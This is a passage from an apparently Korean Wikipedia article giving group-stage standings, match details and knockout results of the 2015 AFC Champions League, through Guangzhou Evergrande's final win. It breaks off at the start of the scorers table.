타로미  62' (pen.) 리포트 2015년 4월 8일 18:30 (UTC+03) 레크위야 1 : 0 부뇨드코르 압둘라 빈 할리파 경기장 관중수: 3,188 심판: 압둘라 알힐랄리 베이스  43' 리포트 2015년 4월 22일 18:30 (UTC+03) 레크위야 3 : 0 페르세폴리스 압둘라 빈 할리파 경기장 관중수: 4,877 심판: 벤 윌리엄스 므사크니  69' 남태희  83' 아피프  90+3' 리포트 2015년 4월 22일 19:00 (UTC+05) 부뇨드코르 0 : 1 알나스르 부뇨드코르 스타디움 관중수: 3,153 심판: 리우 콱 만 리포트 미에르제예프스키  33' 2015년 5월 6일 20:50 (UTC+03) 알나스르 1 : 3 레크위야 킹 파드 국립 경기장 관중수: 40,915 심판: 김종혁 알라에브  36' 리포트 므사크니  28' 남태희  32' 소리아  58' (pen.) 2015년 5월 6일 18:30 (UTC+04:30) 페르세폴리스 2 : 1 부뇨드코르 아자디 스타디움 관중수: 100,000 심판: 야마모토 유다이 누리  69' (pen.) 유라바에프  90+3' (o.g) 리포트 라시도프  69' B조[편집] 팀 경기 승 무 패 득 실 차 승점 알아인 6 3 3 0 7 2 +5 12 나프트 테헤란 6 2 2 2 8 8 0 8 파흐타코르 6 1 3 2 6 8 -2 6 알샤바브 6 1 2 3 5 8 -3 5   파흐타코르 — 0 : 2 0 : 1 2 : 1 알샤바브 2 : 2 — 0 : 1 0 : 3 알아인 1 : 1 0 : 0 — 3 : 0 나프트 테헤란 1 : 1 2 : 1 1 : 1 — 2015년 2월 24일 16:30 (UTC+05) 파흐타코르 2 : 1 나프트 테헤란 파흐타코르 마르카지 경기장 관중수: 4,913 심판: 마사아키 토마 마카라제  48' 세르게에프  85' 리포트 고르바니  59' 2015년 2월 24일 19:00 (UTC+04) 알아인 0 : 0 알샤바브 하자빈 자예드 스타디움 관중수: 15,426 심판: 모흐드 아미룰 이즈완 야콥 리포트 2015년 3월 3일 18:00 (UTC+03:30) 나프트 테헤란 1 : 1 알아인 아자디 스타디움 관중수: 3,300 심판: 탄하이 쿠로시  50' 리포트 잔  58' (페널티) 2015년 3월 3일 20:20 (UTC+03) 알샤바브 2 : 2 파흐타코르 킹 파드 국립 경기장 관중수: 5,404 심판: 피터 그린 알카이바리  35'하자지  84' 리포트 세르게에프  62'마카라제  71' (페널티) 2015년 3월 18일 17:00 (UTC+05) 파흐타코르 0 : 1 알아인 파흐타코르 마르카지 경기장 관중수: 8,675 심판: 김종혁 리포트 스토흐  61' 2015년 3월 18일 18:00 (UTC+03:30) 나프트 테헤란 2 : 1 알샤바브 아자디 스타디움 관중수: 1,560 심판: 김동진 모타하리  86' 파도바니  90' 리포트 하자지  43' (페널티) 2015년 4월 7일 19:15 (UTC+04) 알아인 1 : 1 파흐타코르 하자빈 자예드 스타디움 관중수: 6,872 심판: 파하드 알마리 켐보  20' 리포트 세르게에프  45+2' 2015년 4월 7일 20:35 (UTC+03) 알샤바브 0 : 3 나프트 테헤란 킹 파드 국립 경기장 관중수: 5,035 심판: 헤티캄카남게 페레라 리포트 아미리  57' 모타하리  83' 알리야리  90+1' 2015년 4월 22일 20:40 (UTC+03) 알샤바브 0 : 1 알아인 킹 파드 국립 경기장 관중수: 1,977 심판: 도조 미노루 리포트 잔  58' 2015년 4월 22일 19:00 (UTC+04:30) 나프트 테헤란 1 : 1 파흐타코르 아자디 스타디움 관중수: 1,840 심판: 김상우 레자에이  25' 리포트 코자크  36' 2015년 5월 6일 18:30 (UTC+05) 파흐타코르 0 : 2 알샤바브 파흐타코르 마르카지 경기장 관중수: 3,638 심판: 모흐드 아미룰 이즈완 야콥 리포트 2015년 5월 6일 19:30 (UTC+04) 알아인 3 : 0 나프트 테헤란 하자빈 자예드 스타디움 관중수: 4,299 심판: 피터 그린 리포트 C조[편집] 팀 경기 승 무 패 득 실 차 승점 알힐랄 6 4 1 1 9 4 +5 13 알사드 6 3 1 2 9 9 0 10 풀라드 6 1 3 2 2 4 -2 6 로코모티프 타슈켄트 6 1 1 4 10 13 -3 4   풀라드 — 1 : 0 0 : 0 0 : 0 로코모티프 타슈켄트 1 : 1 — 0 : 2 5 : 0 알힐랄 2 : 0 3 : 1 — 2 : 1 알사드 1 : 0 6 : 2 1 : 0 — 2015년 2월 25일 16:00 (UTC+03:30) 풀라드 0 : 0 알사드 가디르 스타디움 관중수: 37,843 심판: 김상우 리포트 2015년 2월 25일 20:30 (UTC+03) 알힐랄 3 : 1 로코모티프 타슈켄트 킹 파드 국립 경기장 관중수: 17,440 심판: 김종혁 카리리  11'알살렘  14'치아구 네베스  71' 리포트 미르자예프  39' 2015년 3월 4일 15:00 (UTC+05) 로코모티프 타슈켄트 1 : 1 풀라드 로코모티프 스타디움 관중수: 7,456 심판: 사토 류지 조테에프  6' 리포트 자마아티  32' 2015년 3월 4일 18:45 (UTC+03) 알사드 1 : 0 알힐랄 자심 빈 하마드 스타디움 관중수: 6,843 심판: 아흐메드 알카프 이브라힘  29' 리포트 2015년 3월 17일 16:00 (UTC+03:30) 풀라드 0 : 0 알힐랄 가디르 스타디움 관중수: 37,452 심판: 재러드 질릿 리포트 2015년 3월 17일 18:45 (UTC+03) 알사드 6 : 2 로코모티프 타슈켄트 자심 빈 하마드 스타디움 관중수: 4,100 심판: 벤 윌리엄스 이브라힘  27' (페널티) 알하이도스  34' 벨하지  40' 무리키  50' 하산  63' 그라피치  66' 리포트 코야셰비치  56' 야수르 하사노프  77' (pen.) 2015년 4월 8일 16:00 (UTC+05) 로코모티프 타슈켄트 5 : 0 알사드 로코모티프 스타디움 관중수: 3,852 심판: 김동진 비크마에프  7', 14' 쇼아크메도프  55' 코야셰비치  79' 코리안  90+1' 리포트 2015년 4월 8일 20:45 (UTC+03) 알힐랄 2 : 0 풀라드 킹 파드 국립 경기장 관중수: 20,087 심판: 도마 마사아키 알샴라니  46' 알샤라니  61' 리포트 2015년 4월 21일 16:00 (UTC+05) 로코모티프 타슈켄트 1 : 2 알힐랄 로코모티프 스타디움 관중수: 3,974 심판: 나고르 아미르 누르 모하메드 압두콜리코프  90+4' 리포트 알리 아베드  56' 알조리  72' 2015년 4월 21일 19:00 (UTC+03) 알사드 1 : 0 풀라드 자심 빈 하마드 스타디움 관중수: 3,455 심판: 모흐드 아미룰 이즈완 야콥 무리키  42' 리포트 2015년 5월 5일 17:30 (UTC+04:30) 풀라드 1 : 0 로코모티프 타슈켄트 가디르 스타디움 관중수: 2,142 심판: 마닝 2015년 5월 5일 20:55 (UTC+03) 알힐랄 2 : 1 알사드 킹 파드 국립 경기장 관중수: 9,394 심판: 고형진 D조[편집] 팀 경기 승 무 패 득 실 차 승점 알아흘리 6 3 3 0 11 7 +4 12 알아흘리 6 2 2 2 8 8 0 8 나사프 카르시 6 2 2 2 5 5 0 8 트락토르 사지 6 1 1 4 7 11 -4 4   알아흘리 — 3 : 2 0 : 0 3 : 3 트락토르 사지 1 : 0 — 1 : 2 2 : 2 나사프 카르시 0 : 1 2 : 1 — 0 : 0 알아흘리 2 : 1 2 : 0 2 : 1 — 2015년 2월 25일 18:00 (UTC+05) 나사프 카르시 2 : 1 트락토르 사지 카르시 경기장 관중수: 11,160 심판: 압둘라 알힐랄리 쇼무로도프  46' 카리모프  52' 리포트 에지뉴  32' 2015년 2월 25일 20:25 (UTC+04) 알아흘리 3 : 3 알아흘리 라세드 경기장 관중수: 7,200 심판: 도조 미노루 함마디  19', 79' 칼릴  43' 리포트 오스발도  2' 알모가위  41' 알자셈  57' 2015년 3월 4일 16:00 (UTC+03:30) 트락토르 사지 1 : 0 알아흘리 아데가르 에맘 스타디움 관중수: 25,830 심판: 고형진 암하자데흐  40' 리포트 2015년 3월 4일 20:15 (UTC+03) 알아흘리 2 : 1 나사프 카르시 킹 압둘라 스포츠 시티 관중수: 19,855 심판: 스트레브르 델로프스키 알소마  22' 알아마리  78' 리포트 주웨르키안  65' 2015년 3월 18일 20:35 (UTC+04) 알아흘리 0 : 0 나사프 카르시 라세드 경기장 관중수: 3,121 심판: 모하나드 카심 리포트 2015년 3월 18일 20:20 (UTC+03) 알아흘리 2 : 0 트락토르 사지 킹 압둘라 스포츠 시티 관중수: 45,482 심판: 아흐메드 알카프 알자심  72', 80' 리포트 2015년 4월 7일 16:00 (UTC+04:30) 트락토르 사지 2 : 2 알아흘리 아데가르 에맘 스타디움 관중수: 32,500 심판: 사토 류지 에지뉴  60' 세게비  77' 리포트 알소마  74', 90' 2015년 4월 7일 19:00 (UTC+05) 나사프 카르시 0 : 1 알아흘리 카르시 경기장 관중수: 15,500 심판: 김종혁 리포트 이베르통 히베이루  81' 2015년 4월 21일 18:00 (UTC+04:30) 트락토르 사지 1 : 2 나사프 카르시 아데가르 에맘 스타디움 관중수: 15,000 심판: 무하마드 타키 알리아파리 빈 자하리 키아니  52' 리포트 게보르키안  59', 71' 2015년 4월 21일 20:30 (UTC+03) 알아흘리 2 : 1 알아흘리 킹 압둘라 스포츠 시티 관중수: 15,842 심판: 압둘라 발리데 아부 라데아  78' 브루누 세자르  90+4' 리포트 이베르통 히베이루  16' 2015년 5월 5일 19:40 (UTC+04) 알아흘리 3 : 2 트락토르 사지 라세드 경기장 관중수: 3,540 심판: 김동진 2015년 5월 5일 20:00 (UTC+05) 나사프 카르시 0 : 0 알아흘리 카르시 경기장 관중수: 16,000 심판: 도마 마사아키 E조[편집] 팀 경기 승 무 패 득 실 차 승점 가시와 레이솔 6 3 2 1 14 9 +5 11 전북 현대 모터스 6 3 2 1 14 6 +8 11 산둥 루넝 6 2 1 3 13 17 -4 7 빈즈엉 6 1 1 4 6 15 -9 4   전북 현대 모터스 — 4 : 1 3 : 0 0 : 0 산둥 루넝 1 : 4 — 3 : 1 4 : 4 빈즈엉 FC 1 : 1 2 : 3 — 1 : 0 가시와 레이솔 3 : 2 2 : 1 1 : 0 — 2015년 2월 24일 19:00 (UTC+09) 전북 현대 모터스 0 : 0 가시와 레이솔 전주월드컵경기장 관중수: 13,422 심판: 크리스 베스 리포트 2015년 2월 24일 18:00 (UTC+07) 빈즈엉 FC 2 : 3 산둥 루넝 빈즈엉 경기장 관중수: 8,913 심판: 벤 윌리엄스 오세니  48' 왕창  56' (o.g) 리포트 왕융포  47' 양쉬  60', 81' 2015년 3월 3일 15:30 (UTC+08) 산둥 루넝 1 : 4 전북 현대 모터스 지난 올림픽 스포츠 센터 관중수: 27,386 심판: 모함메드 압둘라 하산 양쉬  61' 리포트 에두  21' 한교원  71' 이재성  75' 레오나르두  90+3' 2015년 3월 3일 19:00 (UTC+09) 가시와 레이솔 5 : 1 빈즈엉 FC 히타치 가시와 축구장 관중수: 5,694 심판: 파하드 알마리 구도  42', 67' 브란코비치  44' (o.g) 김창수  56' 오타니 히데카즈  75' 리포트 오세니  82' 2015년 3월 17일 19:00 (UTC+09) 전북 현대 모터스 3 : 0 빈즈엉 전주월드컵경기장 관중수: 6,704 심판: 압둘라 발루시 이니뉴  16' 이동국  41', 86' 리포트 2015년 3월 17일 19:00 (UTC+09) 가시와 레이솔 2 : 1 산둥 루넝 히타치 가시와 축구장 관중수: 7,657 심판: 랍샨 이르마토프 다케토미  23' 와코  90+2' 리포트 몬티요  51' 2015년 4월 8일 18:00 (UTC+07) 빈즈엉 FC 1 : 1 전북 현대 모터스 빈즈엉 경기장 관중수: 4,000 심판: 재레드 길레트 디엥  90' 리포트 이니뉴  29' 2015년 4월 8일 19:00 (UTC+08) 산둥 루넝 4 : 4 가시와 레이솔 지난 올림픽 스포츠 센터 관중수: 21,631 심판: 알리레자 파가니 왕융포  4' 주니오르 우르수  34' 몬티요  37' 양쉬  49' 리포트 레안드루  23' 다케토미  29' 크리스치아누  32', 82' 2015년 4월 22일 19:00 (UTC+09) 가시와 레이솔 3 : 2 전북 현대 모터스 히타치 가시와 축구장 관중수: 7,424 심판: 나와프 슈크랄라 에두아르두 9' 다케토미  19', 38' 리포트 이동국  66', 80' 2015년 4월 22일 19:00 (UTC+08) 산둥 루넝 3 : 1 빈즈엉 FC 지난 올림픽 스포츠 센터 관중수: 12,566 심판: 암마르 알제네이비 양쉬  27', 70' 주니오르 우르수  61' 리포트 응우옌쫑호앙  19' 2015년 5월 6일 19:00 (UTC+09) 전북 현대 모터스 4 : 1 산둥 루넝 전주월드컵경기장 관중수: 11,131명 심판: 헤티캄카남게 페레라 이재성  25' 김형일  51' 이니뉴  80' (pen.) 에두  88' 리포트 왕통  45+1' 2015년 5월 6일 18:00 (UTC+07) 빈즈엉 FC 1 : 0 가시와 레이솔 빈즈엉 경기장 관중수: 4,600명 심판: 파하드 알미르다시 레꽁빈  56' 리포트 F조[편집] 팀 경기 승 무 패 득 실 차 승점 감바 오사카 6 3 1 2 10 7 +3 10 성남 FC 6 3 1 2 7 5 +2 10 부리람 유나이티드 6 3 1 2 12 7 +5 10 광저우 푸리 6 1 1 4 3 13 -10 4   감바 오사카 — 2 : 1 1 : 1 0 : 2 성남 FC 2 : 0 — 2 : 1 0 : 0 부리람 유나이티드 1 : 2 2 : 1 — 5 : 0 광저우 푸리 0 : 5 0 : 1 1 : 2 — 2015년 2월 24일 19:00 (UTC+09) 감바 오사카 0 : 2 광저우 푸리 엑스포 70' 스타디움 관중수: 8,848 심판: 모센 토르키 리포트 함달라  10' 왕송  80' 2015년 2월 24일 18:00 (UTC+07) 부리람 유나이티드 2 : 1 성남 FC 뉴아이모바일 스타디움 관중수: 8,959 심판: 압둘라 하산 모하메드 프라킷  17' 마세나  19' 리포트 나루바딘  88' (o.g) 2015년 3월 3일 19:30 (UTC+09) 성남 FC 2 : 0 감바 오사카 탄천종합운동장 관중수: 7,813 심판: 랍샨 이르마토프 히카르두 부에누  8' (pen.) 황의조  68' 리포트 2015년 3월 3일 19:30 (UTC+8) 광저우 푸리 1 : 2 부리람 유나이티드 웨슈산 체육장 관중수: 9,308 심판: 모흐드 아미룰 이즈완 야콥 뤼린  27' 리포트 고슬기  44' 마세나  90' 2015년 3월 17일 19:30 (UTC+8) 광저우 푸리 0 : 1 성남 FC 웨슈산 체육장 관중수: 8,638 심판: 파하드 알마리 리포트 황의조  27' 2015년 3월 18일 19:00 (UTC+09) 감바 오사카 1 : 1 부리람 유나이티드 엑스포 70' 스타디움 관중수: 6,469 심판: 알리레자 파가니 아베  39' 리포트 티라톤  62' 2015년 4월 7일 18:00 (UTC+07) 부리람 유나이티드 1 : 2 감바 오사카 뉴아이모바일 스타디움 관중수: 23,987 심판: 아흐메드 알카프 티라톤  9' 리포트 린스  41' 오모리  87' 2015년 4월 7일 19:30 (UTC+09) 성남 FC 0 : 0 광저우 푸리 탄천종합운동장 관중수: 5,777 심판: 나와프 슈크랄라 리포트 2015년 4월 22일 19:30 (UTC+09) 성남 FC 2 : 1 부리람 유나이티드 탄천종합운동장 관중수: 3,762 심판: 파하드 알미르다시 김두현  27' (pen.) 남준재  36' 리포트 지오구  77' 2015년 4월 22일 19:30 (UTC+08) 광저우 푸리 0 : 5 감바 오사카 웨슈산 체육장 관중수: 8,647 심판: 아드함 마카드메 리포트 파트리크  14', 45' 아베  44', 68' 우사미  70' 2015년 5월 6일 19:00 (UTC+09) 감바 오사카 2 : 1 성남 FC 엑스포 70' 스타디움 관중수: 12,821명 심판: 모함메드 압둘라 하산 우사미  64' 린스  82' 리포트 황의조  15' 2015년 5월 6일 18:00 (UTC+07) 부리람 유나이티드 5 : 0 광저우 푸리 뉴아이모바일 스타디움 관중수: 17,331명 심판: 암마르 알제네이비 지오구  12', 38', 56' 투네즈  36' 마세나  59' 리포트 G조[편집] 팀 경기 승 무 패 득 실 차 승점 베이징 궈안 6 3 2 1 6 3 +3 11 수원 삼성 블루윙즈 6 3 2 1 11 8 +3 11 브리즈번 로어 6 2 1 3 7 9 -2 7 우라와 레즈 6 1 1 4 5 9 -4 4   브리즈번 로어 — 1 : 2 3 : 3 0 : 1 우라와 레즈 0 : 1 — 1 : 2 1 : 1 수원 삼성 블루윙즈 3 : 1 2 : 1 — 1 : 1 베이징 궈안 0 : 1 2 : 0 1 : 0 — 2015년 2월 25일 19:30 (UTC+10) 브리즈번 로어 0 : 1 베이징 궈안 선콥 스타디움 관중수: 6,851 심판: 아흐메드 알카프 리포트 사오자이  90+2' 2015년 2월 25일 19:30 (UTC+09) 수원 삼성 블루윙즈 2 : 1 우라와 레즈 수원월드컵경기장 관중수: 13,846 심판: 암마르 알제네이비 오범석  56' 레오  87' 리포트 모리와키  45+1' 2015년 3월 4일 19:30 (UTC+8) 베이징 궈안 1 : 0 수원 삼성 블루윙즈 노동자 경기장 관중수: 35,567 심판: 헤티캄카남게 페레라 다먀노비치  65' 리포트 2015년 3월 4일 19:30 (UTC+09) 우라와 레즈 0 : 1 브리즈번 로어 사이타마 스타디움 2002 관중수: 13,527 심판: 일기즈 탄타셰프 리포트 보렐로  3' 2015년 3월 17일 19:30 (UTC+8) 베이징 궈안 2 : 0 우라와 레즈 노동자 경기장 관중수: 38,355 심판: 모함메드 압둘라 하산 바타야  13' 위다바오  22' 리포트 2015년 3월 18일 19:00 (UTC+11) 브리즈번 로어 3 : 3 수원 삼성 블루윙즈 선콥 스타디움 관중수: 5,197 심판: 파하드 알미르다시 보렐로  13' 클럿  22', 80' 리포트 서정진  39', 50' 정대세  71' 2015년 4월 8일 19:30 (UTC+09) 수원 삼성 블루윙즈 3 : 1 브리즈번 로어 수원월드컵경기장 관중수: 6,771 심판: 압둘라만 알자심 권창훈  50' 서정진  58' 염기훈  63' 리포트 드베어  75' 2015년 4월 8일 19:30 (UTC+09) 우라와 레즈 1 : 1 베이징 궈안 사이타마 스타디움 2002 관중수: 13,683 심판: 압둘라 발리데 마키노  74' 리포트 위다바오  33' 2015년 4월 21일 19:30 (UTC+09) 우라와 레즈 1 : 2 수원 삼성 블루윙즈 사이타마 스타디움 2002 관중수: 13,924 심판: 아흐메드 알카프 류비얀키치  68' 리포트 고차원  74' 카이우  88' 2015년 4월 21일 19:30 (UTC+08) 베이징 궈안 0 : 1 브리즈번 로어 노동자 경기장 관중수: 35,578 심판: 발렌틴 코발렌코 리포트 칼루제로비치  39' 2015년 5월 5일 16:00 (UTC+09) 브리즈번 로어 1 : 2 우라와 레즈 선콥 스타디움 관중수: 5,941명 심판: 알리레자 파가니 칼루제로비치  70' 리포트 고로키  24' 무토  57' 2015년 5월 5일 19:30 (UTC+10) 수원 삼성 블루윙즈 1 : 1 베이징 궈안 수원월드컵경기장 관중수: 14,380명 심판: 랍샨 이르마토프 레우  27' 리포트 다먀노비치  25' H조[편집] 팀 경기 승 무 패 득 실 차 승점 광저우 헝다 6 3 1 2 9 9 0 10 FC 서울 6 2 3 1 5 4 +1 9 웨스턴 시드니 6 2 2 2 9 7 +2 8 가시마 앤틀러스 6 2 0 4 10 13 -3 6   광저우 헝다 — 0 : 2 4 : 3 1 : 0 웨스턴 시드니 2 : 3 — 1 : 2 1 : 1 가시마 앤틀러스 2 : 1 1 : 3 — 2 : 3 FC 서울 0 : 0 0 : 0 1 : 0 — 2015년 2월 25일 19:00 (UTC+09) 가시마 앤틀러스 1 : 3 웨스턴 시드니 가시마 스타디움 관중수: 7,736 심판: 파하드 알미르다시 도이  68' 리포트 쇼지  54' (o.g) 다카하기  85' 브릿지  90+3' 2015년 2월 25일 20:00 (UTC+08) 광저우 헝다 1 : 0 FC 서울 텐허 스타디움 관중수: 46,749 심판: 모하나드 카심 이르시 사라이 히카르두 골라르트  31' 리포트 2015년 3월 4일 19:30 (UTC+09) FC 서울 1 : 0 가시마 앤틀러스 서울월드컵경기장 관중수: 5,790 심판: 알리레자 파가니 김진규  61' 리포트 2015년 3월 4일 19:30 (UTC+11) 웨스턴 시드니 2 : 3 광저우 헝다 패러매타 스타디움 관중수: 11,418 심판: 나고르 아미르 누르 모하메드 라 로카  57' 카스텔렌  90+5' 리포트 골라르트  19', 58', 64' 2015년 3월 18일 19:30 (UTC+09) FC 서울 0 : 0 웨스턴 시드니 서울월드컵경기장 관중수: 5,645 심판: 암마르 알제네이비 리포트 2015년 3월 18일 20:00 (UTC+08) 광저우 헝다 4 : 3 가시마 앤틀러스 텐허 스타디움 관중수: 48,651 심판: 모흐드 아미룰 이즈완 야콥 골라르트  10', 62' 이우케종  57' 자오쉬리  90+2' 리포트 다카사키  36' 도이  51' 시바사키  90+3' 2015년 4월 7일 19:30 (UTC+10) 웨스턴 시드니 1 : 1 FC 서울 패러매타 스타디움 관중수: 7,073 심판: 발렌틴 코발렌코 불루트  12' 리포트 고요한  72' 2015년 4월 7일 19:00 (UTC+09) 가시마 앤틀러스 2 : 1 광저우 헝다 가시마 스타디움 관중수: 7,033 심판: 암마르 알제네이비 엔도  19' (pen.) 다카사키  90+3' 리포트 이우케종  75' 2015년 4월 21일 19:30 (UTC+10) 웨스턴 시드니 1 : 2 가시마 앤틀러스 패러매타 스타디움 관중수: 5,221 심판: 카미스 알마리 루카비츠야  24' 리포트 도이  66' (pen.) 가나자키  90+1' 2015년 4월 21일 19:30 (UTC+09) FC 서울 0 : 0 광저우 헝다 서울월드컵경기장 관중수: 17,157 심판: 압둘라만 알자심 리포트 2015년 5월 5일 20:00 (UTC+08) 광저우 헝다 0 : 2 웨스턴 시드니 텐허 스타디움 관중수: 35,641명 심판: 나와프 슈크랄라 리포트 브릿지  33' 유리치  90+3' 2015년 5월 5일 15:00 (UTC+09) 가시마 앤틀러스 2 : 3 FC 서울 가시마 스타디움 관중수: 19,233명 심판: 압둘라 알힐랄리 아카사키  8' 시바사키  79' 리포트 이웅희  36' 오스마르  51' 몰리나  90+1' 결선 토너먼트[편집] 16강전[편집] 16강전은 조별 예선의 결과에 따라 각 조 1위와 다른 조 2위와 각각 맞붙으며 각 조 2위의 홈에서 1차전이 치러지고 각 조 1위의 홈에서 2차전이 치러진다. 팀 1 결과 팀 2 1차전 2차전 서아시아 알사드 3 : 4 레크위야 1 : 2 2 : 2 페르세폴리스 1 : 3 알힐랄 1 : 0 0 : 3 알아흘리 3 : 3 (a) 알아인 0 : 0 3 : 3 나프트 테헤란 2 : 2 (a) 알아흘리 1 : 0 1 : 2 동아시아 수원 삼성 블루윙즈 4 : 4 (a) 가시와 레이솔 2 : 3 2 : 1 전북 현대 모터스 2 : 1 베이징 궈안 1 : 1 1 : 0 FC 서울 3 : 6 감바 오사카 1 : 3 2 : 3 성남 FC 2 : 3 광저우 헝다 2 : 1 0 : 2 1경기[편집] 2015년 5월 19일 19:15 (UTC+03) 알사드 1 : 2 레크위야 자심 빈 하마드 스타디움, 도하 관중수: 4,682명 심판: 랍샨 이르마토프 알하이도스  37' 리포트 소리아  12'므사크니  36' 2015년 5월 26일 19:00 (UTC+03) 레크위야 2 : 2 알사드 압둘라 빈 할리파 경기장, 도하 관중수: 4,241명 심판: 도마 마사아키 므사크니  13'모하마드  83' 리포트 무리키  36'아사달라  63' 2경기[편집] 2015년 5월 19일 19:30 (UTC+04:30) 페르세폴리스 1 : 0 알힐랄 아자디 스타디움, 테헤란 관중수: 100,000명 심판: 나고르 아미르 누르 모하메드 디가오  90+2' (o.g) 리포트 2015년 5월 26일 21:05 (UTC+03) 알힐랄 3 : 0 페르세폴리스 킹 파드 국립 경기장, 리야드 관중수: 23,590명 심판: 발렌틴 코발렌코 알살렘  29'알샬후브  57' (pen.)알도사리  90+1' 리포트 3경기[편집] 2015년 5월 20일 19:45 (UTC+04) 알아흘리 0 : 0 알아인 라세드 경기장, 두바이 관중수: 8,900명 심판: 고형진 리포트 2015년 5월 27일 19:50 (UTC+04) 알아인 3 : 3 알아흘리 하자빈 자예드 스타디움, 알아인 관중수: 14,270명 심판: 모하나드 카림 에시 샤라이 잔  5', 78'에이사  90' 리포트 카미스  51'칼릴  53', 56' 4경기[편집] 2015년 5월 20일 20:00 (UTC+04:30) 나프트 테헤란 1 : 0 알아흘리 아자디 스타디움, 테헤란 관중수: 13,370명 심판: 야마모토 유다이 레자에이  34' 리포트 2015년 5월 27일 20:45 (UTC+03) 알아흘리 2 : 1 나프트 테헤란 킹 압둘라 스포츠 시티 경기장, 지다 관중수: 35,488명 심판: 김동진 알소마  36', 42' 리포트 파도바니  31' 5경기[편집] 2015년 5월 19일 19:30 (UTC+09) 수원 삼성 블루윙즈 2 : 3 가시와 레이솔 수원월드컵경기장, 수원 관중수: 6,164명 심판: 암마르 알제네이비 염기훈  1'정대세  59' 리포트 바라다  12'레안드루  29' (pen.), 56' 2015년 5월 26일 19:00 (UTC+09) 가시와 레이솔 1 : 2 수원 삼성 블루윙즈 히타치 가시와 축구장, 가시와 관중수: 9,142명 심판: 나와프 슈크랄라 고바야시  65' 리포트 정대세  26'구자룡  54' 6경기[편집] 2015년 5월 19일 19:00 (UTC+09) 전북 현대 모터스 1 : 1 베이징 궈안 전주월드컵경기장, 전주 관중수: 12,409명 심판: 발렌틴 코발렌코 김기희  13' 리포트 바타야  85' (pen.) 2015년 5월 26일 19:30 (UTC+08) 베이징 궈안 0 : 1 전북 현대 모터스 베이징 공인체육장, 베이징 관중수: 43,526명 심판: 모함메드 압둘라 하산 리포트 에두  72' 7경기[편집] 2015년 5월 20일 19:30 (UTC+09) FC 서울 1 : 3 감바 오사카 서울월드컵경기장, 서울 관중수: 10,607명 심판: 모하나드 카심 윤주태  90+2' 리포트 우사미  63', 86' 요네쿠라  74' 2015년 5월 27일 19:00 (UTC+09) 감바 오사카 3 : 2 FC 서울 엑스포 70' 스타디움, 스이타 관중수: 9,597명 심판: 알리레자 파가니 파트리크  16' 구라타  45' 린스  86' 리포트 윤주태  58', 90+2' 8경기[편집] 2015년 5월 10일 19:30 (UTC+09) 성남 FC 2 : 1 광저우 헝다 탄천종합운동장, 성남 관중수: 13,792명 심판: 모센 토르키 조르지뉴  23' 김두현  90+5' (pen.) 리포트 황보원  42' 2015년 5월 27일 20:00 (UTC+08) 광저우 헝다 2 : 0 성남 FC 텐허 스타디움, 광저우 관중수: 48,761명 심판: 랍샨 이르마토프 골라르트  27' (pen.), 57' 리포트 8강전[편집] 팀 1 결과 팀 2 1차전 2차전 서아시아 알힐랄 6 : 3 레크위야 4 : 1 2 : 2 나프트 테헤란 1 : 3 알아흘리 0 : 1 1 : 2 동아시아 가시와 레이솔 2 : 4 광저우 헝다 1 : 3 1 : 1 전북 현대 모터스 2 : 3 감바 오사카 0 : 0 2 : 3 1경기[편집] 2015년 8월 25일 20:50 UTC+3 알힐랄 4 : 1 레크위야 킹 파드 국립 경기장, 리야드 관중수: 1,190명 심판: 벤 윌리엄스 아이우통  11' 알카에비  34' 카를루스 에두아르두  36', 86' 리포트 므사크니  17' 2015년 9월 15일 19:00 UTC+3 레크위야 2 : 2 알힐랄 압둘라 빈 할리파 경기장, 도하 관중수: 5,439명 심판: 사토 류지 이스마일 모하마드  45+2' 치코  72' 리포트 카를루스 에두아르두  26' 지강  87' 2경기[편집] 2015년 8월 25일 19:00 UTC+4:30 나프트 테헤란 0 : 1 알아흘리 아자디 스타디움, 테헤란 관중수: 23,300명 심판: 도조 미노루 리포트 리마  62' 2015년 9월 16일 20:25 UTC+4 알아흘리 2 : 1 나프트 테헤란 라세드 경기장, 두바이 관중수: 9,353명 심판: 김종혁 리마  26' 칼릴  47' 리포트 아미리  50' 3경기[편집] 2015년 8월 26일 19:00 UTC+9 가시와 레이솔 1 : 3 광저우 헝다 히타치 가시와 축구장, 가시와 관중수: 14,030명 심판: 파하드 알미르다시 구도  89' 리포트 스즈키  5' (o.g.) 파울리뉴  40' 가오린  58' 2015년 9월 15일 20:00 UTC+8 광저우 헝다 1 : 1 가시와 레이솔 텐허 스타디움, 광저우 관중수: 48,643명 심판: 알리레자 파가니 황보원  30' 리포트 크리스치아누  12' 4경기[편집] 2015년 8월 26일 19:00 UTC+9 전북 현대 모터스 0 : 0 감바 오사카 전주월드컵경기장, 전주 관중수: 23,633명 심판: 모흐드 아미룰 이즈완 야콥 리포트 2015년 9월 16일 19:00 UTC+9 감바 오사카 3 : 2 전북 현대 모터스 엑스포 70' 스타디움, 스이타 관중수: 9,284명 심판: 모함메드 압둘라 하산 파트리크  14' 구라타  76' 요네쿠라  90+3' 리포트 레오나르두  13' (페널티킥) 베라  89' 준결승전[편집] 팀 1 결과 팀 2 1차전 2차전 서아시아 알힐랄 3 : 4 알아흘리 1 : 1 2 : 3 동아시아 광저우 헝다 2 : 1 감바 오사카 2 : 1 0 : 0 1경기[편집] 2015년 9월 29일 20:15 UTC+3 알힐랄 1 : 1 알아흘리 킹 파드 국립 경기장, 리야드 관중수: 53,268명 심판: 발렌틴 코발렌코 아이우통  82' 리포트 호드리구 리마  57' 2015년 10월 20일 알아흘리 3 : 2 알힐랄 라세드 경기장, 두바이 관중수: 9,800명 심판: 나와프 슈크랄라 리포트 2경기[편집] 2015년 9월 30일 20:00 UTC+8 광저우 헝다 2 : 1 감바 오사카 텐허 스타디움, 광저우 관중수: 48,946명 심판: 나와프 슈크랄라 황보원  35'정즈  57' 리포트 펑샤오팅  12' (o.g.) 2015년 10월 21일 19:00 UTC+9 감바 오사카 0 : 0 광저우 헝다 만박기념경기장, 스이타 관중수: 17,310명 심판: 크리스 베스 리포트 결승전[편집] 이 부분의 본문은 AFC 챔피언스리그 2015 결승전입니다. 팀 1 결과 팀 2 1차전 2차전 알아흘리 0 : 1 광저우 헝다 0 : 0 0 : 1 2015년 11월 7일 19:45 UTC+4 알아흘리 0 : 0 광저우 헝다 라세드 경기장, 두바이 관중수: 9,480명 심판: 김종혁 리포트 2015년 11월 21일 20:00 UTC+8 광저우 헝다 1 : 0 알아흘리 텐허 스타디움, 광저우 관중수: 42,499명 심판: 랍샨 이르마토프 이우케종  54' 우승[편집] AFC 챔피언스리그2015 우승 광저우 헝다 타오바오2번째 우승 득점 선수[편집] 순위 이름 소속팀 조별 리그 16강 8강 4강 결승 총득점 1 2 